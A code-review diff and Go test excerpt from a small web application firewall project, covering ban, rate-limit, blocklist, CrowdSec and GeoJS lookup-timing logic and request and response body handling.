// askDirectly hands a question about a request from client straight to server,
// as change leaves it, and returns the answer's status and how long it took.
func askDirectly(
t *testing.T, server *proxy.Server, change func(*http.Request),
) (int, time.Duration) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
req.Header.Set(proxy.ClientHeader, client)
req.Header.Set(requestIDHeader, "the-id")
change(req)
recorder := httptest.NewRecorder()
began := time.Now()
server.Handler.ServeHTTP(recorder, req)
return recorder.Code, time.Since(began)
}
// banClient bans client at now.
func banClient(_ *testing.T, server *proxy.Server, now time.Time) {
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
}
// countClient counts one request from client at now for the rate limits.
func countClient(_ *testing.T, server *proxy.Server, now time.Time) {
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
}
// listClient puts client on the blocklist at dropURL.
func listClient(t *testing.T, server *proxy.Server, now time.Time) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
}})
if err != nil {
t.Fatalf("load the blocklist: %v", err)
}
}
// decideOnClient puts client on the CrowdSec decision list.
func decideOnClient(t *testing.T, server *proxy.Server, now time.Time) {
t.Helper()
loadDecisions(t, server, now, clientsDecision)
}
// leaveAsItIs prepares nothing.
func leaveAsItIs(*testing.T, *proxy.Server, time.Time) {}
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Parallel()
const forbidden = http.StatusForbidden
for _, tc := range []struct {
name string
env map[string]string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *proxy.Server, now time.Time)
// cookie is the request's Cookie header.
cookie string
status int
action string
}{
{
name: "SWWAF_DENY_NETS", env: map[string]string{denyNets: client},
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionDenied,
},
{
name: "a ban",
prepare: banClient, status: forbidden, action: requestlog.ActionBanned,
},
{
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
},
{
name: "the rate limits, with a biased threshold",
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
prepare: countClient, status: forbidden, action: requestlog.ActionRateLimited,
},
{
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
prepare: listClient, status: forbidden, action: requestlog.ActionDenied,
},
{
name: "the CrowdSec decision list",
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
prepare: decideOnClient, status: forbidden, action: requestlog.ActionBanned,
},
{
name: "the header limits", cookie: cookies(cookieLimit + 1),
prepare: leaveAsItIs, status: tooLarge, action: requestlog.ActionTooLarge,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) {
server, out := newServeWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set(cookieHeader, tc.cookie)
})
if status != tc.status || took != 0 {
t.Errorf("answered %d after %s, want %d at once; output:\n%s",
status, took, tc.status, out.text())
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
// GeoJS's request is abandoned before the bubble ends.
time.Sleep(defaultLookupWait)
})
})
}
}
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *proxy.Server, now time.Time)
status int
action string
}{
{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
{
"a country list needs the answer", map[string]string{allowedCountries: "DE"},
leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
},
{
"a blocklist that only logs",
map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
listClient, http.StatusOK, requestlog.ActionForward,
},
{
"a blocklist that only limits",
map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
listClient, http.StatusOK, requestlog.ActionForward,
},
{
"over a rate limit on an exempt path",
map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
countClient, http.StatusOK, requestlog.ActionForward,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
server, out := newServeWAFInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(*http.Request) {})
if status != tc.status || took != defaultLookupWait {
t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
status, took, tc.status, defaultLookupWait, out.text())
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
})
})
}
}
func TestServeWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(t *testing.T) {
t.Parallel()
held, askedGeoJS, _ := startHeldGeoJS(t)
// A resolver that takes every query and answers none.
resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
t.Cleanup(func() { _ = resolver.Close() })
server, out, _ := newServeWAFWith(t, func(params proxy.Params) *proxy.Server {
params.AbuseIPDBURL = silentAbuseIPDBURL
return proxy.NewServeWAF(params)
}, held, time.Now, map[string]string{
deniedCountries: "KP", wafMode: block,
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
abuseIPDBKey: accountKey,
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
crowdSecURL: held, crowdSecKey: bouncerKey,
})
// AbuseIPDB is asked only about a client with an offence.
group := netip.MustParsePrefix(client + "/32")
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
go server.Lists.Run(t.Context())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set("User-Agent", "test")
req.Header.Set("Accept", "*/*")
req.Host = siteA
})
if status != http.StatusOK || took >= answerTimeLimit {
t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
status, took, http.StatusOK, answerTimeLimit, out.text())
}
// Each outside source was asked, and none has answered. The stand-in for
// GeoJS is the lists' too, which name no address.
if !slices.Contains(askedGeoJS(), client) {
t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
}
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
t.Errorf("%d queries to the DNS blocklist, want 1", queries)
}
if checked := server.AbuseIPDB.Checked(); checked != 1 {
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
}
}
internal/proxy/bans.go
+58 -133
View File
@@ -1,15 +1,14 @@
package proxy
import (
"net/http"
"net/netip"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged
@@ -58,12 +57,13 @@ func (rq *request) limitBroken(now time.Time) bool {
}
// countBytes counts the request's bytes, as countedBytes gives them, for
// the byte limits, once its report has come, and notes the client's byte totals
// for the log line; its requests stay there as the rate limits counted them.
// Only an allowed request has them counted, and only one the rate limits
// counted; in observe mode, not one that enforce mode would have refused. Bytes
// that take the client over a byte limit, as its limit percentage for the byte
// limits lowers it, break it; the response was passed on whole.
// the byte limits, once its response has ended, and notes the client's
// byte totals for the log line; its requests stay there as the rate limits
// counted them. Only a request passed to the app has them counted, and
// only one the rate limits counted; in observe mode, not one that enforce
// mode would have refused. Bytes that take the client over a byte limit,
// as its limit percentage for the byte limits lowers it, break it; the
// response was passed on whole.
func (rq *request) countBytes() {
if !rq.counted || rq.line.WouldAction != "" {
return
@@ -82,48 +82,18 @@ func (rq *request) countBytes() {
}
}
// countRefusal counts the request for the error burst once it has been
// answered, if servewaf refused it after a rule file match, a trap path or a
// Core Rule Set match, and in observe mode if enforce mode would have: more than
// SWWAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute
// break a limit. A client in SWWAF_ALLOW_NETS, which the checks skip, is
// not counted, and nothing is while the threshold is off.
func (rq *request) countRefusal() {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return
}
if !rq.attack && !rq.ruleBlocked && !rq.wafBlocked {
return
}
now := rq.h.now()
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
if !over {
return
}
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionRuleBlocked, requestlog.ActionWAFBlocked:
status = http.StatusForbidden
case requestlog.ActionBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
}
// countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says.
// bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an
// upgraded connection, such as a WebSocket, which has closed by then, what
// it carried from the app counts with the response's and what it carried
// from the client with the request's.
func (rq *request) countedBytes() int64 {
response, request := rq.out.bytes, rq.requestBytes
response, request := rq.out.bytes, rq.requestBytes()
if rq.upgraded != nil {
response += rq.upgraded.fromApp.Load()
request += rq.upgraded.toApp.Load()
}
switch rq.h.config.BytesCount {
case "response":
@@ -136,27 +106,20 @@ func (rq *request) countedBytes() int64 {
}
// banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, notes the offence for the log line and counts the hit in
// the metrics. status is what the client was sent, or is sent:
// SWWAF_BAN_RESPONSE for a request over a rate limit, what the report says for
// one whose bytes broke a byte limit, the refusal for one that broke the
// error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
// one hit names, and notes the offence for the log line. status is what
// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over
// a rate limit, the app's answer for one whose bytes broke a byte limit.
// The ban's notes give the client's limit percentage for that kind of
// limit. The ban sets the client's counters back to zero. In observe mode
// it makes no ban and sets nothing back, and raises the alert for the ban
// it would have made, if that alert would be sent.
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
switch hit.Kind {
case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
case ratelimit.KindRefusals:
rq.line.LimitHit = requestlog.LimitHitErrorBurst
default:
rq.line.LimitHit = hit.Window
rq.line.LimitHit = hit.Window
if hit.Kind == ratelimit.KindBytes {
rq.line.LimitHit += "_bytes" // as counts names the byte totals
}
rq.line.Offence = requestlog.OffenceLimit
rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
@@ -164,25 +127,24 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Kind: hit.Kind,
Limit: hit.Limit,
Window: hit.Window,
Count: hit.Count,
Reputation: rq.reputation,
Request: rq.noted(now, status),
Requests: rq.netblockRequests(netblock),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Kind: hit.Kind,
Limit: hit.Limit,
Window: hit.Window,
Count: hit.Count,
Request: rq.noted(now, status),
Requests: rq.netblockRequests(netblock),
}
switch hit.Kind {
case ratelimit.KindRequests:
notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged()
case ratelimit.KindBytes:
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged()
percent := rq.limitPercent
if hit.Kind == ratelimit.KindBytes {
percent = rq.bytesPercent
}
notes.LimitPercent, notes.LimitPercentSetting = percent.logged()
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
if wouldBan {
@@ -202,22 +164,24 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
}
// banForAttack bans the client's netblock at now for a clear sign of
// attack, which notes name: the ban rule that matched, or the trap path
// asked for. It fills in the rest of the notes. In observe mode it makes
// no ban, and raises the alert for the ban it would have made, if that
// alert would be sent.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
// attack, the match of rule, a ban rule. In observe mode it makes no ban,
// and raises the alert for the ban it would have made, if that alert
// would be sent.
func (rq *request) banForAttack(now time.Time, rule rules.Rule) {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return
}
notes.ASN = rq.line.ASN
notes.ASName = rq.line.ASName
notes.Country = rq.line.Country
notes.Reputation = rq.reputation
notes.Request = rq.noted(now, rq.h.config.BanResponse)
notes.Requests = rq.netblockRequests(netblock)
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
RuleID: rule.ID,
Target: rule.Target,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
@@ -236,44 +200,6 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) {
}
}
// banForCrowdSec bans the client's netblock at now until decision,
// CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert
// would be sent.
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
if wouldBan {
rq.alertBan(ban)
}
return
}
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
rq.line.BanExpires = banExpires(ban)
if made {
rq.alertBan(ban)
}
}
// wouldAlertBan reports whether the alert for a ban on netblock for cause
// made at now would be sent. In observe mode the ban the request would
// have made is worked out only then, at most once per
@@ -310,7 +236,6 @@ func (rq *request) alertBan(ban bans.Ban) {
rq.h.alerts.Raise(alerts.Alert{
Event: event,
Host: rq.site,
Client: rq.client,
Netblock: ban.Netblock,
ASN: ban.Notes.ASN,
@@ -327,11 +252,11 @@ func (rq *request) alertBan(ban bans.Ban) {
func (rq *request) noted(now time.Time, status int) bans.Request {
return bans.Request{
Time: now,
Method: rq.line.Method,
Host: rq.line.Host,
Path: rq.requestURI,
Method: rq.in.Method,
Host: rq.in.Host,
Path: rq.in.URL.RequestURI(),
Status: status,
UserAgent: rq.line.UserAgent,
UserAgent: rq.in.UserAgent(),
}
}
internal/proxy/bans_test.go
+24 -33
View File
@@ -7,9 +7,7 @@ import (
"maps"
"net/http"
"net/netip"
"reflect"
"slices"
"strings"
"sync"
"testing"
"time"
@@ -26,8 +24,6 @@ const (
userAgent = "ban-test/1.0"
// permanent is the log line's ban_expires for a permanent ban.
permanent = "permanent"
// banResponseClose is the SWWAF_BAN_RESPONSE that closes the connection.
banResponseClose = "close"
)
func TestBrokenLimitBansTheClient(t *testing.T) {
@@ -208,7 +204,6 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
deniedCountries: "kp",
@@ -240,14 +235,13 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
{"", http.StatusForbidden},
{"403", http.StatusForbidden},
{"429", http.StatusTooManyRequests},
{banResponseClose, 0},
{"close", 0},
} {
t.Run(banResponse+"="+tc.setting, func(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
deniedCountries: "kp",
@@ -273,7 +267,6 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
deniedCountries: "kp",
})
@@ -319,7 +312,7 @@ func TestBanNotes(t *testing.T) {
ledger := server.Ledger
got := ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
if len(got) != 1 || got[0] != want {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
@@ -375,7 +368,7 @@ func (c *clock) advance(d time.Duration) {
c.now = c.now.Add(d)
}
// startWithClock starts servewaf, and rproxy in front of an app that answers 200,
// startWithClock starts smallwebwaf in front of an app that answers 200,
// with the settings in env on top of trusting localhost's
// X-Forwarded-For, clients' AS numbers and countries looked up at
// geojsURL, and a clock set to midnight, the start of a bucket in every
@@ -392,19 +385,18 @@ func startWithClock(
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
return &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out}, clk, server
return &sender{t: t, addr: addr, out: out}, clk, server
}
// sender sends requests to rproxy one after another, each on a connection of its
// own, and checks each one's answer and log line. serveWAFAddr is where servewaf's
// own endpoints are, which adminRequest asks. Every request servewaf gets must
// come through the sender, since the log lines are matched to them in order.
// sender sends requests to smallwebwaf one after another, each on a
// connection of its own, and checks each one's answer and log line. They
// must be the only requests smallwebwaf is sent, since the log lines are
// matched to them in order.
type sender struct {
t *testing.T
addr string
serveWAFAddr string
out *output
sent int
t *testing.T
addr string
out *output
sent int
}
// get sends a GET request for / from the client at from.
@@ -421,19 +413,22 @@ func (s *sender) get(from string, status int, action string) logLine {
func (s *sender) request(from, path string, status int, action string) logLine {
s.t.Helper()
return s.requestWithHeader(from, path, "", status, action)
line, _ := s.requestWithHeader(from, path, "", status, action)
return line
}
// requestWithHeader is request with header, such as "Authorization:
// Bearer x", added to the request unless it is "".
// Bearer x", added to the request unless it is "". It returns the body of
// the answer too.
func (s *sender) requestWithHeader(
from, path, header string, status int, action string,
) logLine {
) (logLine, string) {
s.t.Helper()
line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
line, got := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
return line
return line, string(got.body)
}
// requestWithBody is requestWithHeader for a request with method, whose
@@ -449,14 +444,10 @@ func (s *sender) requestWithBody(
header += "\r\n"
}
// rproxy refuses a request with more than one.
if !strings.Contains(header, "User-Agent:") {
header += "User-Agent: " + userAgent + "\r\n"
}
conn := dial(s.t, s.addr)
send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+"\r\n"+
forwardedFor+": "+from+"\r\n"+header+"\r\n"+body)
send(s.t, conn, method+" "+path+" HTTP/1.1\r\nHost: "+appHost+
"\r\nUser-Agent: "+userAgent+"\r\n"+forwardedFor+": "+from+"\r\n"+
header+"\r\n"+body)
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
if err != nil {
@@ -481,7 +472,7 @@ func (s *sender) requestWithBody(
got.status, status)
}
line := s.out.endedLines(s.t, s.sent+1)[s.sent]
line := s.out.requestLines(s.t, s.sent+1)[s.sent]
s.sent++
wantLine(s.t, line, status, action)
internal/proxy/biased.go
+8 -8
View File
@@ -34,19 +34,19 @@ func biasedThresholdsSet(cfg *config.Config) bool {
// percentage SWWAF_ASN_LIMIT_PERCENT gives its AS number, the one the file
// SWWAF_ASN_LIMIT_PERCENT_URL names gives it, the one
// SWWAF_COUNTRY_LIMIT_PERCENT gives its country, for a client without a
// country, unless its request skipped the wait for GeoJS,
// SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists, the
// percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a client
// a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, the
// percentage of SWWAF_REPUTATION_ACTION while it is limit. For the byte
// limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take the
// place of the first three for an AS number or a country they list.
// country, SWWAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist lists,
// the percentage of SWWAF_BLOCKLIST_ACTION while it is limit, and for a
// client a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit,
// the percentage of SWWAF_REPUTATION_ACTION while it is limit. For the
// byte limits, SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT
// take the place of the first three for an AS number or a country they
// list.
func (rq *request) limitPercentages() (percentage, percentage) {
cfg := rq.h.config
asn, country := rq.line.ASN, rq.line.Country
unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait {
if country == "" {
unknown = percentage{cfg.UnknownLimitPercent, "SWWAF_UNKNOWN_LIMIT_PERCENT"}
}
internal/proxy/biased_test.go
+17 -12
View File
@@ -4,6 +4,7 @@ import (
"fmt"
"io"
"maps"
"net"
"net/http"
"net/http/httptest"
"net/netip"
@@ -280,12 +281,12 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
map[string]string{unknownLimitPercent: "0"})
server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL,
time.Now, map[string]string{unknownLimitPercent: "0"})
// Once the time the request waits for its answer is up, the client
// Once the second the request waits for its answer is up, the client
// counts as without a country, and its zero allowance refuses the
// request.
// request before it reaches the app.
serveFromDE(t, server, http.MethodGet, http.NoBody)
line := out.requestLine(t)
@@ -319,8 +320,13 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newServeWAF(t, unansweredGeoJSURL, time.Now,
map[string]string{lookupTimeout: timeout.String(), tc.setting: tc.value})
// The request's body is over SWWAF_REQUEST_MAX_BYTES, so that it
// is refused after the checks, and never reaches the app.
server, out, _ := newProxy(t, "http://app.invalid", unansweredGeoJSURL,
time.Now, map[string]string{
lookupTimeout: timeout.String(), requestMaxBytes: "1",
tc.setting: tc.value,
})
began := time.Now()
serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
@@ -334,7 +340,8 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
t.Errorf("the request waited %s for its answer, want %s", waited, want)
}
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
wantLine(t, out.requestLine(t), http.StatusRequestEntityTooLarge,
requestlog.ActionTooLarge)
// The bubble's clock stops once this function returns, so the
// request to GeoJS, which a request that did not wait leaves
@@ -460,15 +467,13 @@ func (s *sender) uploadFrom(from string) logLine {
return line
}
// serveFromDE hands a question about a request from fromDE with method and body
// straight to server's handler, without the network, and returns once it is
// answered.
// serveFromDE hands a request from fromDE with method and body straight to
// server's handler, without the network, and returns once it is answered.
func serveFromDE(t *testing.T, server *proxy.Server, method string, body io.Reader) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), method, "/", body)
req.Header.Set(proxy.ClientHeader, fromDE)
req.Header.Set(requestIDHeader, "the-id")
req.RemoteAddr = net.JoinHostPort(fromDE, "1234")
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
}
internal/rproxy/bodies.go → internal/proxy/bodies.go
+67 -63
View File
@@ -1,48 +1,36 @@
package rproxy
package proxy
import (
"bufio"
"errors"
"io"
"net"
"net/http"
"sync/atomic"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// errResponseTooLarge ends an app's response body that is longer than
// SWRP_MAX_RESPONSE_SIZE.
// SWWAF_RESPONSE_MAX_BYTES.
var errResponseTooLarge = errors.New(
"the response body is over SWRP_MAX_RESPONSE_SIZE")
"the response body is over SWWAF_RESPONSE_MAX_BYTES")
// requestBody is the visitor's request body. rproxy first reads up to the first
// 64 KiB of it into held, and then, on its way to the app, the transport reads
// it on a goroutine of its own.
// requestBody is the client's request body on its way to the app. The
// transport reads it on a goroutine of its own.
type requestBody struct {
// body is the visitor's body, ending in an *http.MaxBytesError past
// SWRP_MAX_REQUEST_SIZE.
// body is the client's body, ending in an *http.MaxBytesError past
// SWWAF_REQUEST_MAX_BYTES.
body io.ReadCloser
rq *request
// held is the part read before the request goes to the app, which Read gives
// first.
held []byte
// waiting is true while a Read waits for the visitor to send more.
// waiting is true while a Read waits for the client to send more.
waiting atomic.Bool
// received is true once the visitor has sent the whole body.
// received is true once the client has sent the whole body.
received atomic.Bool
// bytes is how much of the body has been read.
bytes atomic.Int64
}
// Read reads from the visitor's body, after the part held, which has been
// counted already.
// Read reads from the client's body.
func (b *requestBody) Read(p []byte) (int, error) {
if len(b.held) > 0 {
n := copy(p, b.held)
b.held = b.held[n:]
return n, nil
}
b.waiting.Store(true)
n, err := b.body.Read(p)
b.waiting.Store(false)
@@ -53,22 +41,27 @@ func (b *requestBody) Read(p []byte) (int, error) {
switch {
case errors.Is(err, io.EOF):
b.received.Store(true)
b.rq.bodyReceived()
case errors.As(err, &tooLarge):
b.rq.refuse(http.StatusRequestEntityTooLarge)
b.rq.refuse(refusal{
status: http.StatusRequestEntityTooLarge,
action: requestlog.ActionTooLarge,
limit: "SWWAF_REQUEST_MAX_BYTES",
})
}
return n, err
}
// Close closes the visitor's body.
// Close closes the client's body.
func (b *requestBody) Close() error {
return b.body.Close()
}
// responseBody is the app's response body on its way to the visitor.
// responseBody is the app's response body on its way to the client.
type responseBody struct {
// body is the app's body, ending in an *http.MaxBytesError past
// SWRP_MAX_RESPONSE_SIZE.
// SWWAF_RESPONSE_MAX_BYTES.
body io.ReadCloser
rq *request
}
@@ -86,13 +79,20 @@ func (b *responseBody) Read(p []byte) (int, error) {
case errors.Is(err, io.EOF):
b.rq.responseReceived()
case errors.As(err, &tooLarge):
b.rq.refuse(http.StatusBadGateway)
b.rq.refuse(refusal{
status: http.StatusBadGateway,
action: requestlog.ActionTooLarge,
limit: "SWWAF_RESPONSE_MAX_BYTES",
})
return n, errResponseTooLarge
case b.rq.in.Context().Err() == nil:
// The answer broke off, not because the visitor went away. If a time
// limit cut it, that refusal came first and is the one kept.
b.rq.refuse(http.StatusBadGateway)
// The answer broke off, not because the client went away. If a
// timeout cut it, that refusal came first and is the one kept.
b.rq.refuse(refusal{
status: http.StatusBadGateway,
action: requestlog.ActionUpstreamError,
})
}
return n, err
@@ -104,14 +104,15 @@ func (b *responseBody) Close() error {
}
// upgradedConn is the connection to the app once the app has switched
// protocols, as for a WebSocket. ReverseProxy writes to it what the visitor
// sends and reads from it what the app sends, on goroutines of its own, until
// the connection closes; it counts the bytes each way, for the report.
// protocols, as for a WebSocket. ReverseProxy writes to it what the client
// sends and reads from it what the app sends, on goroutines of its own,
// until the connection closes; it counts the bytes each way, for the byte
// limits.
type upgradedConn struct {
io.ReadWriteCloser
// fromApp is how many bytes the app has sent, and toApp how many the
// visitor has.
// client has.
fromApp atomic.Int64
toApp atomic.Int64
}
@@ -124,7 +125,7 @@ func (c *upgradedConn) Read(p []byte) (int, error) {
return n, err
}
// Write sends the app what the visitor sent.
// Write sends the app what the client sent.
func (c *upgradedConn) Write(p []byte) (int, error) {
n, err := c.ReadWriteCloser.Write(p)
c.toApp.Add(int64(n))
@@ -132,9 +133,9 @@ func (c *upgradedConn) Write(p []byte) (int, error) {
return n, err
}
// CloseWrite tells the app that the visitor sends no more, while what the app
// sends still passes. ReverseProxy calls it once the visitor has stopped
// sending, and closes the connection there if it is not supported.
// CloseWrite tells the app that the client sends no more, while what the
// app sends still passes. ReverseProxy calls it once the client has
// stopped sending, and closes the connection there if it is not supported.
func (c *upgradedConn) CloseWrite() error {
conn, ok := c.ReadWriteCloser.(interface{ CloseWrite() error })
if !ok {
@@ -144,8 +145,8 @@ func (c *upgradedConn) CloseWrite() error {
return conn.CloseWrite()
}
// limitBody returns body, cut off with an *http.MaxBytesError after maxBytes, or
// unchanged if maxBytes is zero, which is off.
// limitBody returns body, cut off with an *http.MaxBytesError after
// maxBytes, or unchanged if maxBytes is zero, which is off.
func limitBody(body io.ReadCloser, maxBytes int64) io.ReadCloser {
if maxBytes == 0 {
return body
@@ -155,18 +156,19 @@ func limitBody(body io.ReadCloser, maxBytes int64) io.ReadCloser {
return http.MaxBytesReader(nil, body, maxBytes)
}
// responseWriter is the response to the visitor. It notes the status and size
// for the log line and the report.
// responseWriter is the response to the client. It notes the status and
// size for the log line, and the first error writing to the client.
type responseWriter struct {
http.ResponseWriter
// status is the final status sent, or zero before one is.
status int
bytes int64
err error
}
// WriteHeader sends the status and headers. An informational 1xx status is
// passed on and the final status still comes later.
// WriteHeader sends the status and headers. An informational 1xx status
// is passed on and the final status still comes later.
func (w *responseWriter) WriteHeader(status int) {
if status >= http.StatusOK && w.status == 0 {
w.status = status
@@ -181,31 +183,33 @@ func (w *responseWriter) Write(p []byte) (int, error) {
w.status = http.StatusOK
}
n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
n, err := w.ResponseWriter.Write(p)
w.bytes += int64(n)
w.noteError(err)
return n, err
}
// FlushError sends what has been written so far. http.ResponseController calls
